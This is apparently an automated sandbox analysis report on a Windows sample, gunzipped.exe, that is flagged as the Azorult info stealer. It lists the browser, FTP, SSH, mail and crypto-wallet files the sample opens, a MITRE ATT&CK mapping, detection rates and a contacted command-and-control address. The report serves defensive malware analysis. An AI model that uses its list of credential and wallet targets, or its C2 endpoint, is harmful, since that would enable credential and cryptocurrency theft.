Source: Yara match	File source: Process Memory Space: gunzipped.exe PID: 5472, type: MEMORY
Source: Yara match	File source: Process Memory Space: gunzipped.exe PID: 5624, type: MEMORY
Source: Yara match	File source: 3.2.gunzipped.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.gunzipped.exe.400000.0.raw.unpack, type: UNPACKEDPE

Yara detected Azorult Info Stealer

Show sources

Source: Yara match	File source: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gunzipped.exe PID: 5472, type: MEMORY
Source: Yara match	File source: Process Memory Space: gunzipped.exe PID: 5624, type: MEMORY
Source: Yara match	File source: 3.2.gunzipped.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.gunzipped.exe.400000.0.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: electrum.dat
Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: *6%appdata%\Electrum\wallets\$Coins\Electrum-LTC>%appdata%\Electrum-LTC\wallets\
Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: .json,.seco"%APPDATA%\Exodus\2Coins\Jaxx\Local Storage\:%APPDATA%\Jaxx\Local Storage\ Coins\MultiBitHDpmbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml*%APPDATA%\MultiBitHD\
Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: .json,.seco"%APPDATA%\Exodus\2Coins\Jaxx\Local Storage\:%APPDATA%\Jaxx\Local Storage\ Coins\MultiBitHDpmbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml*%APPDATA%\MultiBitHD\
Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: .json,.seco"%APPDATA%\Exodus\2Coins\Jaxx\Local Storage\:%APPDATA%\Jaxx\Local Storage\ Coins\MultiBitHDpmbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml*%APPDATA%\MultiBitHD\
Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: UTC*8%APPDATA%\Ethereum\keystore\
Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: Coins\Exodus
Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: Coins\Ethereum
Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: UTC*8%APPDATA%\Ethereum\keystore\
Source: gunzipped.exe, 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	String found in binary or memory: *6%appdata%\Electrum\wallets\$Coins\Electrum-LTC>%appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: Yara match	File source: 00000003.00000003.283731822.0000000003C38000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.280585798.00000000038F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gunzipped.exe PID: 5472, type: MEMORY
Source: Yara match	File source: Process Memory Space: gunzipped.exe PID: 5624, type: MEMORY
Source: Yara match	File source: 3.3.gunzipped.exe.39186c4.155.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.gunzipped.exe.393a6b1.154.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.gunzipped.exe.39a5e02.153.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Application Shimming1	Application Shimming1	Disable or Modify Tools1	OS Credential Dumping2	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection111	Deobfuscate/Decode Files or Information1	Credentials in Registry2	Account Discovery1	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information3	Credentials In Files1	File and Directory Discovery1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing2	NTDS	System Information Discovery45	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol111	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Security Software Discovery111	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading1	Cached Domain Credentials	Virtualization/Sandbox Evasion21	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion21	DCSync	Process Discovery12	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection111	Proc Filesystem	System Owner/User Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
gunzipped.exe	55%	Virustotal		Browse
gunzipped.exe	6%	Metadefender		Browse
gunzipped.exe	76%	ReversingLabs	Win32.Trojan.Wacatac
gunzipped.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.gunzipped.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1108767		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.jiyu-kobo.co.jp/jp/A	0%	Avira URL Cloud	safe
http://www.sajatypeworks.comes	0%	Avira URL Cloud	safe
http://31.210.20.121/index.php	8%	Virustotal		Browse
http://31.210.20.121/index.php	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.carterandcone.com=N	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cr	0%	Avira URL Cloud	safe
http://www.sajatypeworks.comn-u	0%	Avira URL Cloud	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
https://dotbit.me/a/	0%	URL Reputation	safe
https://dotbit.me/a/	0%	URL Reputation	safe
https://dotbit.me/a/	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.founder.com.cn/cnI	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/Verd	0%	Avira URL Cloud	safe
http://www.fonts.comcTY	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.tiro.comlic:Ye	0%	Avira URL Cloud	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.coms	0%	Avira URL Cloud	safe
http://www.fonts.comnyY	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnj	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/2	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/2	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/2	0%	URL Reputation	safe
http://www.founder.com.cn/cns	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://en.w55	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/-t-	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.fonts.comc:Ye	0%	Avira URL Cloud	safe
http://www.fontbureau.como&	0%	Avira URL Cloud	safe
http://www.fonts.comh	0%	Avira URL Cloud	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	0%	URL Reputation	safe
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	0%	URL Reputation	safe
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	0%	URL Reputation	safe
http://www.fonts.comX	0%	URL Reputation	safe
http://www.fonts.comX	0%	URL Reputation	safe
http://www.fonts.comX	0%	URL Reputation	safe
http://www.fonts.com&Yy	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/;	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/;	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/;	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/z	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/z	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/z	0%	URL Reputation	safe
http://31.210.20.121/index.phpU)	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.tiro.com(Yk	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/&	0%	Avira URL Cloud	safe
http://www.fontbureau.comt	0%	URL Reputation	safe
http://www.fontbureau.comt	0%	URL Reputation	safe
http://www.fontbureau.comt	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://31.210.20.121/index.php	true	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
Host: 31.210.20.121	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false		high
https://contextual.media.net/checksync.p	gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/A	gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.comes	gunzipped.exe, 00000001.00000003.239065899.0000000005694000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.com=N	gunzipped.exe, 00000001.00000003.241762035.0000000005680000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=58648497779	gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp, gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers?	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cr	gunzipped.exe, 00000001.00000003.241067654.0000000005674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.comn-u	gunzipped.exe, 00000001.00000003.238889129.0000000005691000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com/json	gunzipped.exe	false		high
http://www.mozilla.com0	gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dotbit.me/a/	gunzipped.exe	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tiro.com	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp, gunzipped.exe, 00000001.00000003.245173320.000000000567D000.00000004.00000001.sdmp, gunzipped.exe, 00000001.00000003.244756516.0000000005679000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cnI	gunzipped.exe, 00000001.00000003.241067654.0000000005674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/Verd	gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.comcTY	gunzipped.exe, 00000001.00000003.239044619.000000000568B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tiro.comlic:Ye	gunzipped.exe, 00000001.00000003.239302434.000000000568B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://fontfabrik.com	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.coms	gunzipped.exe, 00000001.00000003.239257578.000000000568B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	false		high
http://www.fonts.comnyY	gunzipped.exe, 00000001.00000003.239071329.000000000568B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cnj	gunzipped.exe, 00000001.00000003.240832501.00000000056AD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852	gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	false		high
https://login.microsoftonline.com/common/oauth2/authoriz	gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	false		high
http://www.jiyu-kobo.co.jp/2	gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2	gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cns	gunzipped.exe, 00000001.00000003.240832501.00000000056AD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.msn.com/?ocid=iehp	gunzipped.exe, 00000003.00000002.284563787.0000000000C9D000.00000004.00000020.sdmp	false		high
http://www.galapagosdesign.com/DPlease	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://en.w55	gunzipped.exe, 00000001.00000003.238644642.000000000173D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/-t-	gunzipped.exe, 00000001.00000003.241067654.0000000005674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sandoll.co.kr	gunzipped.exe, 00000001.00000003.240102819.0000000005679000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sakkal.com	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://login.microsoftonline.com/common/oauth2/authorize	gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	gunzipped.exe, 00000001.00000002.256437881.0000000005670000.00000004.00000001.sdmp	false		high
http://www.fonts.comc:Ye	gunzipped.exe, 00000001.00000003.239022804.000000000568B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.3.dr	false		high
http://www.fontbureau.como&	gunzipped.exe, 00000001.00000002.256437881.0000000005670000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.fonts.comh	gunzipped.exe, 00000001.00000003.239022804.000000000568B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/	gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp, gunzipped.exe, 00000003.00000002.284563787.0000000000C9D000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fonts.comX	gunzipped.exe, 00000001.00000003.239022804.000000000568B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1LMEM	gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	false		high
http://www.fonts.com&Yy	gunzipped.exe, 00000001.00000003.239022804.000000000568B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.carterandcone.coml	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/;	gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.msn.com/de-ch/?ocid=iehp	gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/z	gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://31.210.20.121/index.phpU)	gunzipped.exe, 00000003.00000002.284563787.0000000000C9D000.00000004.00000020.sdmp	true	Avira URL Cloud: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1LMEM	gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp, gunzipped.exe, 00000001.00000003.241067654.0000000005674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;g	gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	false		high
http://www.tiro.com(Yk	gunzipped.exe, 00000001.00000003.239257578.000000000568B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.jiyu-kobo.co.jp/jp/&	gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comt	gunzipped.exe, 00000001.00000002.256437881.0000000005670000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://contextual.media.net/checksync.phpd=	gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	false		high
https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1	gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	false		high
http://www.jiyu-kobo.co.jp/	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp, gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.coma-d	gunzipped.exe, 00000001.00000003.238889129.0000000005691000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/l	gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
